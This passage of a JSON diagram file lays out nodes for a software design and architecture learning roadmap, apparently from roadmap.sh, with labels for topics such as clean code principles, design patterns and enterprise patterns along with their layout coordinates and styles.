true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -413.1381872719935,\n        \"y\": 680.7051467174066\n      }\n    },\n    {\n      \"id\": \"JyEXyTp5_UxhyRY3ZULZG\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -705.1381872719935,\n        \"y\": 1105.9007482223487\n      },\n      \"width\": 283,\n      \"height\": 302,\n      \"style\": {\n        \"width\": 283,\n        \"height\": 301.5\n      },\n      \"selected\": false,\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 308\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"positionAbsolute\": {\n        \"x\": -705.1381872719935,\n        \"y\": 1105.9007482223487\n      }\n    },\n    {\n      \"id\": \"VThkejHxNxNQgqjwDN67c\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -705.1381872719935,\n        \"y\": 816.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 271\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -705.1381872719935,\n        \"y\": 816.7051467174065\n      }\n    },\n    {\n      \"id\": \"kLnJC5PdxpgmRU2X57V64\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -705.1381872719935,\n        \"y\": 650.2051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 171\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -705.1381872719935,\n        \"y\": 650.2051467174066\n      }\n    },\n    {\n      \"id\": \"JwkzZU185OsVZ5VSUjC0f\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 94.8618127280065,\n        \"y\": 205.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 361,\n        \"height\": 765\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 94.8618127280065,\n        \"y\": 205.7051467174066\n      }\n    },\n    {\n      \"id\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -375.6381872719935,\n        \"y\": -47.09925177765109\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Software Design & Architecture\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 434,\n        \"height\": 68\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 434,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": -375.6381872719935,\n        \"y\": -47.09925177765109\n      }\n    },\n    {\n      \"id\": \"uqyE79OItPOX33E5FoGel\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -168.6381872719935,\n        \"y\": -133.0992517776511\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 81\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -168.6381872719935,\n        \"y\": -133.0992517776511\n      }\n    },\n    {\n      \"id\": \"CCmziWV0VnzZxVbjVF_br\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 94.8618127280065,\n        \"y\": -148.2948532825934\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the interactive version of this roadmap and more roadmaps at\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"kpF15oUmlUmk1qVGEBB7Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 94.8618127280065,\n        \"y\": -148.2948532825934\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 361,\n        \"height\": 151\n      }\n    },\n    {\n      \"id\": \"if9eTna5NRTMStVwpSwDP\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 109.8618127280065,\n        \"y\": -62.09925177765109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 109.8618127280065,\n        \"y\": -62.09925177765109\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TJZgsxpfOmltUUChMzlEM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.6381872719935,\n        \"y\": -98.59925177765109\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Clean Code\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WrzsvLgo7cf2KjvJhtJEC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.6381872719935,\n        \"y\": -98.59925177765109\n      }\n    },\n    {\n      \"id\": \"RgYq3YOJhPGSf5in1Rcdp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.6381872719935,\n        \"y\": -45.59925177765109\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Programming Paradigms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WrzsvLgo7cf2KjvJhtJEC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.6381872719935,\n        \"y\": -45.59925177765109\n      }\n    },\n    {\n      \"id\": \"qZQDOe2MHBh8wNcmvkLQm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.6381872719935,\n        \"y\": 7.400748222348909\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Object Oriented Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WrzsvLgo7cf2KjvJhtJEC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.6381872719935,\n        \"y\": 7.400748222348909\n      }\n    },\n    {\n      \"id\": \"p96fNXv0Z4rEEXJR9hAYX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.6381872719935,\n        \"y\": 60.40074822234891\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Design Principles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WrzsvLgo7cf2KjvJhtJEC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.6381872719935,\n        \"y\": 60.40074822234891\n      }\n    },\n    {\n      \"id\": \"gyQw885dvupmkohzJPg3a\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.6381872719935,\n        \"y\": 113.40074822234891\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Design Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WrzsvLgo7cf2KjvJhtJEC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.6381872719935,\n        \"y\": 113.40074822234891\n      }\n    },\n    {\n      \"id\": \"XBCxWdpvQyK2iIG2eEA1K\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.6381872719935,\n        \"y\": 166.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Architectural Principles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WrzsvLgo7cf2KjvJhtJEC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.6381872719935,\n        \"y\": 166.4007482223489\n      }\n    },\n    {\n      \"id\": \"En_hvwRvY6k_itsNCQBYE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.6381872719935,\n        \"y\": 219.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Architectural Styles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WrzsvLgo7cf2KjvJhtJEC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.6381872719935,\n        \"y\": 219.4007482223489\n      }\n    },\n    {\n      \"id\": \"jq916t7svaMw5sFOcqZSi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.6381872719935,\n        \"y\": 272.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Architectural Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WrzsvLgo7cf2KjvJhtJEC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.6381872719935,\n        \"y\": 272.4007482223489\n      }\n    },\n    {\n      \"id\": \"WrzsvLgo7cf2KjvJhtJEC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.6381872719935,\n        \"y\": 325.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Enterprise Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.6381872719935,\n        \"y\": 325.4007482223489\n      }\n    },\n    {\n      \"id\": \"uLYSP9v3y51h8Ttdt5ije\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -643.6381872719935,\n        \"y\": -146.5992517776511\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Minimap of Topics\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 155,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -643.6381872719935,\n        \"y\": -146.5992517776511\n      }\n    },\n    {\n      \"id\": \"pd0_ffU8fTHcg_nLPae6W\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -298.1381872719935,\n        \"y\": 134.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Backend Developer Roadmap\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"oldId\": \"JS5a5FraWCwfgwt8GAyc7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -298.1381872719935,\n        \"y\": 134.4007482223489\n      }\n    },\n    {\n      \"id\": \"kpF15oUmlUmk1qVGEBB7Y\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 94.8618127280065,\n        \"y\": 20.90074822234891\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Also visit Khalil's guide covering how to learn Software Design & Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"yHmHXymPNWwu8p1vvqD3o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 94.8618127280065,\n        \"y\": 20.90074822234891\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 361,\n        \"height\": 149\n      }\n    },\n    {\n      \"id\": \"JS5a5FraWCwfgwt8GAyc7\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 109.8618127280065,\n        \"y\": 104.40074822234891\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Software Design and Architecture\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#878787\"\n      },\n      \"zIndex\": 999,\n      \"width\": 302,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 109.8618127280065,\n        \"y\": 104.40074822234891\n      }\n    },\n    {\n      \"id\": \"08qKtgnhJ3tlb5JKfTDf5\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -298.1381872719935,\n        \"y\": 307.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Clean Code Principles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"h0aeBhQRkDxNeFwDxT4Tf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -298.1381872719935,\n        \"y\": 307.4007482223489\n      }\n    },\n    {\n      \"id\": \"2SOZvuEcy8Cy8ymN7x4L-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.99419451849974,\n        \"y\": 218.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Be consistent\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6Cd1BbGsmPJs_5jKhumyV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 335,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 335\n      },\n      \"positionAbsolute\": {\n        \"x\": 108.99419451849974,\n        \"y\": 218.4007482223489\n      }\n    },\n    {\n      \"id\": \"6Cd1BbGsmPJs_5jKhumyV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.99419451849974,\n        \"y\": 271.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Meaningful names over comments\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 335,\n      \"style\": {\n        \"width\": 335\n      },\n      \"positionAbsolute\": {\n        \"x\": 108.99419451849974,\n        \"y\": 271.4007482223489\n      }\n    },\n    {\n      \"id\": \"81WOL1nxb56ZbAOvxJ7NK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.99419451849974,\n        \"y\": 324.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Indentation and Code Style\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9naCfoHF1LW1OEsVZGi8v\"\n      },\n      \"zIndex\": 999,\n      \"width\": 335,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 335\n      },\n      \"positionAbsolute\": {\n        \"x\": 108.99419451849974,\n        \"y\": 324.4007482223489\n      }\n    },\n    {\n      \"id\": \"XEwC6Fyf2DNNHQsoGTrQj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.99419451849974,\n        \"y\": 377.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Keep methods / classes / files small\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9naCfoHF1LW1OEsVZGi8v\"\n      },\n      \"zIndex\": 999,\n      \"width\": 335,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 335\n      },\n      \"positionAbsolute\": {\n        \"x\": 108.99419451849974,\n        \"y\": 377.4007482223489\n      }\n    },\n    {\n      \"id\": \"5S5A5wCJUCNPLlHJ5fRjU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.99419451849974,\n        \"y\": 430.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Pure functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9naCfoHF1LW1OEsVZGi8v\"\n      },\n      \"zIndex\": 999,\n      \"width\": 335,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 335\n      },\n      \"positionAbsolute\": {\n        \"x\": 108.99419451849974,\n        \"y\": 430.4007482223489\n      }\n    },\n    {\n      \"id\": \"qZzl0hAD2LkShsPql1IlZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.99419451849974,\n        \"y\": 483.40074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Minimize cyclomatic complexity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9naCfoHF1LW1OEsVZGi8v\"\n      },\n      \"zIndex\": 999,\n      \"width\": 335,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 335\n      },\n      \"positionAbsolute\": {\n        \"x\": 108.99419451849974,\n        \"y\": 483.40074822234897\n      }\n    },\n    {\n      \"id\": \"yyKvmutbxu3iVHTuqr5q4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.99419451849974,\n        \"y\": 536.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Avoid passing nulls, booleans\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9naCfoHF1LW1OEsVZGi8v\"\n      },\n      \"zIndex\": 999,\n      \"width\": 335,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 335\n      },\n      \"positionAbsolute\": {\n        \"x\": 108.99419451849974,\n        \"y\": 536.400748222349\n      }\n    },\n    {\n      \"id\": \"OoCCy-3W5y7bUcKz_iyBw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.99419451849974,\n        \"y\": 589.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Keep framework code distant\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9naCfoHF1LW1OEsVZGi8v\"\n      },\n      \"zIndex\": 999,\n      \"width\": 335,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 335\n      },\n      \"positionAbsolute\": {\n        \"x\": 108.99419451849974,\n        \"y\": 589.400748222349\n      }\n    },\n    {\n      \"id\": \"S1m7ty7Qrzu1rr4Jl-WgM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.99419451849974,\n        \"y\": 642.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Use correct constructs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9naCfoHF1LW1OEsVZGi8v\"\n      },\n      \"zIndex\": 999,\n      \"width\": 335,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 335\n      },\n      \"positionAbsolute\": {\n        \"x\": 108.99419451849974,\n        \"y\": 642.400748222349\n      }\n    },\n    {\n      \"id\": \"mzt7fvx6ab3tmG1R1NcLO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.99419451849974,\n        \"y\": 695.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tests should be fast and independent\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9naCfoHF1LW1OEsVZGi8v\"\n      },\n      \"zIndex\": 999,\n      \"width\": 335,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 335\n      },\n      \"positionAbsolute\": {\n        \"x\": 108.99419451849974,\n        \"y\": 695.400748222349\n      }\n    },\n    {\n      \"id\": \"JKK6bli3P_cqJ128wPnot\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.99419451849974,\n        \"y\": 748.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Use meaningful names\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9naCfoHF1LW1OEsVZGi8v\"\n      },\n      \"zIndex\": 999,\n      \"width\": 335,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 335\n      },\n      \"positionAbsolute\": {\n        